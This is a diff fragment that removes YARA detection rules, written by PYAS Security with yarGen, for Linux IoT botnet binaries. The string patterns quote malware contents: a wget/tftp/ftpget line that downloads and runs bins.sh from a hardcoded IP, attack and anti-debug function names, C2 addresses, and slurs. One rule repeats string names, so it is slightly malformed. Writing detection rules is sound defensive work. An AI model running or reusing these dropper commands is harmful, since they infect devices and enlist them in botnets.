- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_18 {
- meta:
- description = "Linux_18"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "a032864f9d2a4554884f5f84b3ef1ff5bf44b71c290be32d7c2fcf844d74c0b9"
- strings:
- $x1 = "$(/bin/busybox w" ascii
- $s5 = "hexPayload" fullword ascii
- $s6 = "lock_commands" fullword ascii
- $s7 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s8 = "httpd_port" fullword ascii
- $s9 = "bin/systemd" fullword ascii
- $s10 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s11 = "huawei_fake_time" fullword ascii
- $s12 = "whitelistpaths" fullword ascii
- $s13 = "lockdown" fullword ascii
- $s14 = "killall" fullword ascii
- $s15 = "httpd_serve" fullword ascii
- $s16 = "httpd.c" fullword ascii
- $s17 = "httpd_start" fullword ascii
- $s18 = "httpd_started" fullword ascii
- $s19 = "httpd_pid" fullword ascii
- $s20 = "huawei_setup_connection" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff b0 29 00 00 f4 ff ff ff }
- $op2 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_19 {
- meta:
- description = "Linux_19"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "56fd82656a27d803f0976d6c762b2273d0d4b803330204260c7d66c62fd43ef0"
- strings:
- $s1 = "attack_tcp_bypass" fullword ascii
- $s2 = "hide_process" fullword ascii
- $s3 = "attack_udp_bypass" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s5 = "__scan_getc" fullword ascii
- $s6 = "__scan_ungetc" fullword ascii
- $s7 = "scan_getwc" fullword ascii
- $s8 = "kill_head" fullword ascii
- $s9 = "util_encryption" fullword ascii
- $s10 = "getpeername.c" fullword ascii
- $s11 = "attack_get_opt_str" fullword ascii
- $s12 = "wlancont" fullword ascii
- $s13 = "__scan_cookie.c" fullword ascii
- $s14 = "localhost.c" fullword ascii
- $s15 = "__init_scan_cookie" fullword ascii
- $s16 = "table_keys" fullword ascii
- $s17 = "ferror.c" fullword ascii
- $s18 = "killer_maps_cmd_idkanymore.c" fullword ascii
- $s19 = "perror.c" fullword ascii
- $s20 = "__GI_ungetc" fullword ascii
-
- $op0 = { 11 00 20 01 44 13 01 00 bc 34 00 00 50 }
- $op1 = { f4 ff ff ff f4 ff ff ff dc 2a 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 a0 e3 70 40 bd e8 1e ff 2f e1 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_20 {
- meta:
- description = "Linux_20"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "972e99ec1f16b326c2b8d02e6a7b9b0e3924104c10797473032f8590f900181b"
- strings:
- $s1 = "attack_tcp_bypass" fullword ascii
- $s2 = "hide_process" fullword ascii
- $s3 = "attack_udp_bypass" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s5 = "__scan_getc" fullword ascii
- $s6 = "__scan_ungetc" fullword ascii
- $s7 = "scan_getwc" fullword ascii
- $s8 = "kill_head" fullword ascii
- $s9 = "util_encryption" fullword ascii
- $s10 = "getpeername.c" fullword ascii
- $s11 = "attack_get_opt_str" fullword ascii
- $s12 = "wlancont" fullword ascii
- $s13 = "__scan_cookie.c" fullword ascii
- $s14 = "localhost.c" fullword ascii
- $s15 = "__init_scan_cookie" fullword ascii
- $s16 = "table_keys" fullword ascii
- $s17 = "ferror.c" fullword ascii
- $s18 = "killer_maps_cmd_idkanymore.c" fullword ascii
- $s19 = "perror.c" fullword ascii
- $s20 = "__GI_ungetc" fullword ascii
-
- $op0 = { 11 00 20 01 44 13 01 00 c4 34 00 00 50 }
- $op1 = { f4 ff ff ff f4 ff ff ff e4 2a 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 a0 e3 70 40 bd e8 1e ff 2f e1 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_21 {
- meta:
- description = "Linux_21"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "b6d5f5068ae3d5593671cb17752877694a097951ab4aefcb75dccab72620f590"
- strings:
- $s1 = "update_process" fullword ascii
- $s2 = "hexPayload" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "killer_kill_by_port" fullword ascii
- $s5 = "local_bind.4620" fullword ascii
- $s6 = "attack_tcp.c" fullword ascii
- $s7 = "__libc_accept" fullword ascii
- $s8 = "attack_tcp_syn" fullword ascii
- $s9 = "attack_tcp_sack2" fullword ascii
- $s10 = "attack_tcp_legit" fullword ascii
- $s11 = "__sys_recvfrom" fullword ascii
- $s12 = "attack_ongoing" fullword ascii
- $s13 = "attack_tcp_ack" fullword ascii
- $s14 = "attack_tcp_stomp" fullword ascii
- $s15 = "util_itoa" fullword ascii
- $s16 = "attack_udp.c" fullword ascii
- $s17 = "attack_kill_all" fullword ascii
- $s18 = "anti_gdb_entry" fullword ascii
- $s19 = "attack_udp_plain" fullword ascii
- $s20 = "util_stristr" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff 68 08 00 00 f4 ff ff ff }
- $op2 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_22 {
- meta:
- description = "Linux_22"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "69e14ec4c006c5c06fe3cfb4d0e0e3bef3aa991a2373e327d9a4d8d0ee5aad27"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s2 = "httpd_port" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "resolv_lookup" fullword ascii
- $s5 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s6 = "killer_kill_by_port" fullword ascii
- $s7 = "local_bind.4755" fullword ascii
- $s8 = "__libc_accept" fullword ascii
- $s9 = "attack_tcp_syn" fullword ascii
- $s10 = "resolv_entries_free" fullword ascii
- $s11 = "__sys_recvfrom" fullword ascii
- $s12 = "attack_tcp_ack" fullword ascii
- $s13 = "util_itoa" fullword ascii
- $s14 = "attack_udp_vse" fullword ascii
- $s15 = "anti_gdb_entry" fullword ascii
- $s16 = "attack_udp_plain" fullword ascii
- $s17 = "util_stristr" fullword ascii
- $s18 = "ioctl_pid" fullword ascii
- $s19 = "rand_alpha_str" fullword ascii
- $s20 = "ensure_single_instance" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { 11 00 20 01 94 e5 00 00 38 34 00 00 4c }
- $op2 = { f4 ff ff ff f4 ff ff ff 68 28 00 00 f4 ff ff ff }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_23 {
- meta:
- description = "Linux_23"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1591920bdc5da520833c47cf59c5de63b51a9d191d4cfddcf14749428bc3a458"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "attack_get_opt_str" fullword ascii
- $s6 = "util_fdgets" fullword ascii
- $s7 = "attack_rawflood" fullword ascii
- $s8 = "attack_method_hexflood" fullword ascii
- $s9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s10 = "exploit.c" fullword ascii
- $s11 = "zkjtjaz" fullword ascii
- $s12 = "killer_kill_by_port" fullword ascii
- $s13 = "attack_app_http" fullword ascii
- $s14 = "?/sys/devices/system/cpu" fullword ascii
- $s15 = "completed.4753" fullword ascii
- $s16 = "214.194.12.158" fullword ascii
- $s17 = "ncpus probed" fullword ascii
- $s18 = "attack_method_nfodrop" fullword ascii
- $s19 = "local_bind.4561" fullword ascii
- $s20 = "ncpus active" fullword ascii
-
- $op0 = { 82 10 60 78 c2 05 c0 01 82 00 60 34 c4 00 60 08 }
- $op1 = { a4 10 60 34 90 10 00 10 92 10 00 11 94 10 00 14 }
- $op2 = { 80 a2 3f ff 02 80 00 04 80 a2 20 00 04 80 00 04 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_24 {
- meta:
- description = "Linux_24"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "422e61a16eab7b3cbacbabfa00d7968b91daaa9a9595ab4160104a39ab1d704c"
- strings:
- $s1 = "attack_method_udpbypass" fullword ascii
- $s2 = "attack_get_opt_str" fullword ascii
- $s3 = "util_fdgets" fullword ascii
- $s4 = "attack_ovh_flood" fullword ascii
- $s5 = "killerkillbyname" fullword ascii
- $s6 = "killerinit" fullword ascii
- $s7 = "killerpid" fullword ascii
- $s8 = "killer_kill_by_port" fullword ascii
- $s9 = "local_bind.4769" fullword ascii
- $s10 = "__libc_accept" fullword ascii
- $s11 = "attack_udp_smart" fullword ascii
- $s12 = "util_itoa" fullword ascii
- $s13 = "anti_gdb_entry" fullword ascii
- $s14 = "util_stristr" fullword ascii
- $s15 = "ioctl_pid" fullword ascii
- $s16 = "rand_alpha_str" fullword ascii
- $s17 = "attack_method.c" fullword ascii
- $s18 = "ensure_single_instance" fullword ascii
- $s19 = "ioctl_keepalive" fullword ascii
- $s20 = "attack_method_nudp" fullword ascii
-
- $op0 = { f4 ff ff ff f4 ff ff ff a4 0d 00 00 f4 ff ff ff }
- $op1 = { 51 e3 01 c0 20 e0 42 00 00 0a 00 10 61 42 01 20 }
- $op2 = { 51 e3 f0 45 2d e9 00 50 a0 e1 27 00 00 da b4 a0 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_25 {
- meta:
- description = "Linux_25"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "688809ac2f0f2beb45d7ea2beb37fac5e7d164dc9930b32eea3e639103e91e31"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "attack_get_opt_str" fullword ascii
- $s6 = "util_fdgets" fullword ascii
- $s7 = "attack_rawflood" fullword ascii
- $s8 = "attack_method_hexflood" fullword ascii
- $s9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s10 = "exploit.c" fullword ascii
- $s11 = "zkjtjaz" fullword ascii
- $s12 = "killer_kill_by_port" fullword ascii
- $s13 = "attack_app_http" fullword ascii
- $s14 = "214.194.12.158" fullword ascii
- $s15 = "attack_method_nfodrop" fullword ascii
- $s16 = "local_bind.4748" fullword ascii
- $s17 = "scanner.c" fullword ascii
- $s18 = "zltkaz" fullword ascii
- $s19 = "__libc_accept" fullword ascii
- $s20 = "attack_ongoing" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0d }
- $op1 = { f4 ff ff ff f4 ff ff ff 68 08 00 00 f4 ff ff ff }
- $op2 = { ea 00 00 e0 e3 70 40 bd e8 1e ff 2f e1 00 30 d0 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_26 {
- meta:
- description = "Linux_26"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "af5e4587b849eecd603ebfade9ef24e821ff185011f61434bb7c6d722e89cb88"
- strings:
- $s1 = "__stdio_mutex_initializer.3860" fullword ascii
- $s2 = "[0;97m ] Connected -> " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s5 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s6 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s7 = "completed.2248" fullword ascii
- $s8 = "94.156.64.143:9821" fullword ascii
- $s9 = "KM^_`abcdefghijk" fullword ascii
- $s10 = "[0;97m| Device: " fullword ascii
- $s11 = "[0;97m | Endian " fullword ascii
- $s12 = "gayass.c" fullword ascii
- $s13 = "ay2fzc1txz22mldwtj4ipcevw5q8zq6" fullword ascii
- $s14 = "[0;91mNigger " fullword ascii
- $s15 = "libc/string/sparc/memcpy.S" fullword ascii
- $s16 = "libc/sysdeps/linux/sparc/crtn.S" fullword ascii
- $s17 = "libc/string/sparc/strlen.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sparc/rem.S" fullword ascii
- $s19 = "libc/sysdeps/linux/sparc/crt1.S" fullword ascii
- $s20 = "libc/string/sparc/memset.S" fullword ascii
-
- $op0 = { 82 10 00 08 c2 34 00 00 c2 07 a0 44 82 00 60 02 }
- $op1 = { 82 10 3f fe c2 2f bf f7 10 80 00 34 01 }
- $op2 = { 07 3f ff fb 86 10 e3 34 86 00 c0 1e c8 00 c0 00 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_27 {
- meta:
- description = "Linux_27"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "df63b0c49c038a77666cfd63bd9af48ae45f004c08e377872bfa208c8a8f6120"
- strings:
- $x1 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s2 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s3 = "tpget -v -u anonymous -p anonymous -P 21 91.92.254.69 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm " ascii
- $s4 = "92.254.69 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 91.92.254.69; chmod 777 tftp2.sh; sh tftp2.sh; f" ascii
- $s5 = "REPORT %s:%s:%s" fullword ascii
- $s6 = "__stdio_mutex_initializer.3860" fullword ascii
- $s7 = "infectline" fullword ascii
- $s8 = "getRandomPublicIP" fullword ascii
- $s9 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s10 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s11 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s12 = "GETLOCALIP" fullword ascii
- $s13 = "PROBING" fullword ascii
- $s14 = "getBogos" fullword ascii
- $s15 = "getCores" fullword ascii
- $s16 = "/usr/sbin/dropbear" fullword ascii
- $s17 = "zprintf" fullword ascii
- $s18 = "hextable" fullword ascii
- $s19 = "fdpclose" fullword ascii
- $s20 = "fdpopen" fullword ascii
-
- $op0 = { 82 10 3f fe c2 2f bf f7 10 80 00 34 01 }
- $op1 = { c2 07 bf f0 83 28 60 02 90 10 00 01 40 00 34 e5 }
- $op2 = { 82 10 20 05 c2 27 bf 34 c0 27 bf 38 c0 27 bf e4 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_28 {
- meta:
- description = "Linux_28"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5f86ab87e8f3336371bf80a7a47bf8abfd5f2e0434023832b56a1ca96d1ca1ad"
- strings:
- $s1 = "__stdio_mutex_initializer.3860" fullword ascii
- $s2 = "(TSource Engine Query + /x54/x53/x6f/x75/x72/x63/x65/x20/x45/x6e/x67/x69/x6e/x65/x20/x51/x75/x65/x72/x79 rfdknjms" fullword ascii
- $s3 = "/home/firmware/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s4 = "/home/firmware/build/temp-sparc/build-gcc/gcc" fullword ascii
- $s5 = "/home/firmware/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s6 = "completed.2248" fullword ascii
- $s7 = "KM^_`abcdefghijk" fullword ascii
- $s8 = "libc/string/sparc/memcpy.S" fullword ascii
- $s9 = "libc/sysdeps/linux/sparc/crtn.S" fullword ascii
- $s10 = "libc/string/sparc/strlen.S" fullword ascii
- $s11 = "libc/sysdeps/linux/sparc/rem.S" fullword ascii
- $s12 = "libc/sysdeps/linux/sparc/crt1.S" fullword ascii
- $s13 = "libc/string/sparc/memset.S" fullword ascii
- $s14 = "object.2329" fullword ascii
- $s15 = "been_there_done_that.2818" fullword ascii
- $s16 = "libc/sysdeps/linux/sparc/urem.S" fullword ascii
- $s17 = "libc/sysdeps/linux/sparc/crti.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sparc/fork.S" fullword ascii
- $s19 = "libc/string/sparc/strcpy.S" fullword ascii
- $s20 = "qual_chars.4078" fullword ascii
-
- $op0 = { dc 07 bf 34 81 e8 00 00 81 c3 e0 08 01 }
- $op1 = { d0 07 bf ec 40 00 34 dd 01 }
- $op2 = { d0 07 bf e4 40 00 34 a5 01 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_29 {
- meta:
- description = "Linux_29"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "bf5e6947f6829d17b8a8e5984366efcf5592d8f6bc7ec6d7e85b1872bebcb24a"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-sparc/gcc-core/gcc" fullword ascii
- $s2 = "/home/landley/aboriginal/aboriginal/build/temp-sparc/gcc-core/gcc/libgcc2.c" fullword ascii
- $s3 = "hoste.6718" fullword ascii
- $s4 = "completed.4753" fullword ascii
- $s5 = "ncpus probed" fullword ascii
- $s6 = "ncpus active" fullword ascii
- $s7 = "$(/bin/busybox w" ascii
- $s4 = "bin/systemd" fullword ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "bin/busybox" fullword ascii
- $s8 = "bin/watchdog" fullword ascii
- $s9 = "MCJBG@K." fullword ascii
- $s10 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s11 = " && mv " fullword ascii
- $s12 = " F>0 F" fullword ascii
- $s13 = " F2 F" fullword ascii
- $s14 = "LAZ@KZ" fullword ascii
- $s15 = "@I[WK@@IFG" fullword ascii
- $s16 = "'<@F$4" fullword ascii
- $s17 = "AF$!`@" fullword ascii
- $s18 = "$l5c$4" fullword ascii
- $s19 = "@Rb$(R" fullword ascii
- $s20 = "RP$(Rq$" fullword ascii
-
- $op0 = { 08 42 34 0c 00 82 ae 09 f8 20 03 }
- $op1 = { 11 04 04 3c 37 49 84 34 19 00 44 00 18 00 bc 8f }
- $op2 = { 40 00 42 30 34 00 40 10 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_92 {
- meta:
- description = "Linux_92"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "49c9af449f7e8e9c5c702904a872c1bdbf39619064ab5e3ba4f55cdff14f69b8"
- strings:
- $s1 = "__stdio_mutex_initializer.3833" fullword ascii
- $s2 = "completed.2296" fullword ascii
- $s3 = "object.2349" fullword ascii
- $s4 = "libc/sysdeps/linux/mips/crtn.S" fullword ascii
- $s5 = "libc/string/mips/memcpy.S" fullword ascii
- $s6 = "libc/sysdeps/linux/mips/crti.S" fullword ascii
- $s7 = "been_there_done_that.2792" fullword ascii
- $s8 = "libc/string/mips/memset.S" fullword ascii
- $s9 = "libc/sysdeps/linux/mips/crt1.S" fullword ascii
- $s10 = "next_start.1065" fullword ascii
- $s11 = "qual_chars.4050" fullword ascii
- $s12 = "spec_ranges.4047" fullword ascii
- $s13 = "spec_flags.4045" fullword ascii
- $s14 = "spec_and_mask.4049" fullword ascii
- $s15 = "spec_chars.4046" fullword ascii
- $s16 = "xdigits.3043" fullword ascii
- $s17 = "spec_base.4044" fullword ascii
- $s18 = "prefix.4045" fullword ascii
- $s19 = "spec_or_mask.4048" fullword ascii
- $s20 = " F>0 F" fullword ascii
-
- $op0 = { 40 00 42 30 34 00 40 10 }
- $op1 = { 08 00 42 34 09 f8 20 03 00 00 42 a6 10 00 bc 8f }
- $op2 = { 23 30 06 00 34 00 bf 8f 30 00 b6 8f 2c 00 b5 8f }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_93 {
- meta:
- description = "Linux_93"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e0c17965177ad76a35427374a06d2c4e8521fd54c46012cdd1842211b50d50de"
- strings:
- $s1 = "__stdio_mutex_initializer.3833" fullword ascii
- $s2 = "completed.2296" fullword ascii
- $s3 = "object.2349" fullword ascii
- $s4 = "libc/sysdeps/linux/mips/crtn.S" fullword ascii
- $s5 = "libc/string/mips/memcpy.S" fullword ascii
- $s6 = "libc/sysdeps/linux/mips/crti.S" fullword ascii
- $s7 = "been_there_done_that.2792" fullword ascii
- $s8 = "libc/string/mips/memset.S" fullword ascii
- $s9 = "libc/sysdeps/linux/mips/crt1.S" fullword ascii
- $s10 = "next_start.1065" fullword ascii
- $s11 = "qual_chars.4050" fullword ascii
- $s12 = "spec_ranges.4047" fullword ascii
- $s13 = "ipState.5191" fullword ascii
- $s14 = "spec_flags.4045" fullword ascii
- $s15 = "spec_and_mask.4049" fullword ascii
- $s16 = "spec_chars.4046" fullword ascii
- $s17 = "xdigits.3043" fullword ascii
- $s18 = "spec_base.4044" fullword ascii
- $s19 = "prefix.4045" fullword ascii
- $s20 = "spec_or_mask.4048" fullword ascii
-
- $op0 = { 40 00 42 30 34 00 40 10 }
- $op1 = { 08 00 42 34 09 f8 20 03 00 00 42 a6 10 00 bc 8f }
- $op2 = { 23 30 06 00 34 00 bf 8f 30 00 b6 8f 2c 00 b5 8f }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_94 {
- meta:
- description = "Linux_94"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "ea66749c138b33d7930e244b5022d6e8516932e4d9dbfbe2626e30313dfd51b2"
- strings:
- $s1 = "lvrvup9w0zwi6nuqf0kilumln8ox5vgv" fullword ascii
- $s2 = " F>0 F" fullword ascii
- $s3 = " F2 F" fullword ascii
- $s4 = "`kc$xd" fullword ascii
- $s5 = "vF$!`@" fullword ascii
- $s6 = "$XvR$!" fullword ascii
- $s7 = "$8jc$L" fullword ascii
-
- $op0 = { 08 42 34 0c 00 82 ae 09 f8 20 03 }
- $op1 = { 11 04 04 3c 37 49 84 34 19 00 44 00 18 00 bc 8f }
- $op2 = { 40 00 42 30 34 00 40 10 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_95 {
- meta:
- description = "Linux_95"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "2aab0918710e87642fc932c2b444ab09f7ed1d7e6ce6ed7e81f0f38cd868504e"
- strings:
- $s1 = "__stdio_mutex_initializer.3812" fullword ascii
- $s2 = "[0;97m ] Connected -> " fullword ascii
- $s3 = "/home/firmware/build/temp-sh4/gcc-core/gcc/config/sh/lib1funcs.asm" fullword ascii
- $s4 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s5 = "completed.2217" fullword ascii
- $s6 = "94.156.64.143:9821" fullword ascii
- $s7 = "spec_chars.4025" fullword ascii
- $s8 = "[0;97m| Device: " fullword ascii
- $s9 = "L_uClibc_main" fullword ascii
- $s10 = "Pccg7x3" fullword ascii
- $s11 = "been_there_done_that.2753" fullword ascii
- $s12 = "spec_flags.4024" fullword ascii
- $s13 = "next_start.1030" fullword ascii
- $s14 = "__init_brk" fullword ascii
- $s15 = "xdigits.3026" fullword ascii
- $s16 = "object.2270" fullword ascii
- $s17 = "unknown.1072" fullword ascii
- $s18 = "spec_ranges.4026" fullword ascii
- $s19 = "spec_or_mask.4027" fullword ascii
- $s20 = "__sdivsi3_i4" fullword ascii
-
- $op0 = { 24 31 41 00 09 00 09 00 e6 2f 12 d1 22 4f 18 21 }
- $op1 = { 24 31 41 00 60 36 42 00 38 31 42 }
- $op2 = { d6 03 00 00 c2 06 00 00 06 08 00 00 46 09 00 00 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_96 {
- meta:
- description = "Linux_96"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f44e58547489d21e5a39d30fc54eeb3e7fa2483cc1e8e82c0dbcca4ccae69a0b"
- strings:
- $x1 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s2 = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.254.69/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 91." ascii
- $s3 = "tpget -v -u anonymous -p anonymous -P 21 91.92.254.69 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm " ascii
- $s4 = "92.254.69 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 91.92.254.69; chmod 777 tftp2.sh; sh tftp2.sh; f" ascii
- $s5 = "wget --no-check-certificate -q -O /tmp/null " fullword ascii
- $s6 = "REPORT %s:%s:%s" fullword ascii
- $s7 = "__stdio_mutex_initializer.3812" fullword ascii
- $s8 = "/home/firmware/build/temp-sh4/gcc-core/gcc/config/sh/lib1funcs.asm" fullword ascii
- $s9 = "infectline" fullword ascii
- $s10 = "getRandomPublicIP" fullword ascii
- $s11 = "GETLOCALIP" fullword ascii
- $s12 = "PROBING" fullword ascii
- $s13 = "getBogos" fullword ascii
- $s14 = "getCores" fullword ascii
- $s15 = "/usr/sbin/dropbear" fullword ascii
- $s16 = "zprintf" fullword ascii
- $s17 = "hextable" fullword ascii
- $s18 = "fdpclose" fullword ascii
- $s19 = "fdpopen" fullword ascii
- $s20 = "completed.2217" fullword ascii
-
- $op0 = { e6 2f 68 26 62 15 71 15 03 8d f3 6e 51 16 02 a0 }
- $op1 = { 24 ee 40 00 09 00 09 00 e6 2f 12 d1 22 4f 18 21 }
- $op2 = { 24 ee 40 00 d4 f3 41 00 10 f0 41 }
- condition:
